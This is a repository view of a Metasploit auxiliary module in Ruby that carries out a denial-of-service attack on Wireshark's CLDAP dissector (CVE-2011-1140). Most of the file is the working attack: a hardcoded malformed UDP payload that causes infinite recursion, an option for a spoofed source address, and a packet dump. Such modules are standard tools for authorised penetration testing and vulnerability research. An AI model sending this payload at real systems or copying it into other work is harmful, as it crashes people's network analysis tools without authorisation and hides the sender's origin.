Statistics
| Branch: | Tag: | Revision:

root / modules / auxiliary / dos / wireshark / cldap.rb @ master

History | View | Annotate | Download (2.6 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Auxiliary
15

    
16
        include Msf::Exploit::Remote::Udp
17
        include Msf::Auxiliary::Dos
18

    
19
        def initialize(info = {})
20
                super( update_info(info,
21
                        'Name'           => 'Wireshark CLDAP Dissector DOS',
22
                        'Description'    => %q{
23
                                This module causes infinite recursion to occur within the
24
                                CLDAP dissector by sending a specially crafted UDP packet.
25
                        },
26
                        'Author'         => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],
27
                        'License'        => MSF_LICENSE,
28
                        'Version'        => '$Revision$',
29
                        'References'     =>
30
                                [
31
                                        [ 'CVE', '2011-1140'],
32
                                        [ 'OSVDB', '71552'],
33
                                        [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2011-04.html' ],
34
                                        [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],
35
                                ],
36
                        'DisclosureDate' => '2011-03-01'))
37

    
38
                register_options([
39
                        OptInt.new('RPORT', [true, 'The destination port', 389]),
40
                        OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
41
                ], self.class)
42
        end
43

    
44
        def run
45
                connect_udp
46
                cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+
47
                        "\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+
48
                        "\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+
49
                        "\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+
50
                        "\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+
51
                        "\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+
52
                        "\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+
53
                        "\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+
54
                        "\x0a\x01\x00\x04\x00\x04\x00"
55
                print_status("Sending malformed CLDAP packet to #{rhost}")
56
                udp_sock.put(cldap_payload)
57
        end
58
end
59
=begin
60
Packet Dump:
61
        0000050: b054 3081 a202 0101 6481 9c04 0030 8197  .T0.....d....0..
62
        0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187  0....netlogon1..
63
        0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f  .............R./
64
        0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e  ..H..N.Q.`......
65
        0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018  contact-samba4..
66
        00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43  .CONTACTDOM..\\C
67
        00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000  ONTACT-SAMBA4...
68
        00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101  ..a........0....
69
        00000d0: 6507 0a01 0004 0004 00                   e........
70
=end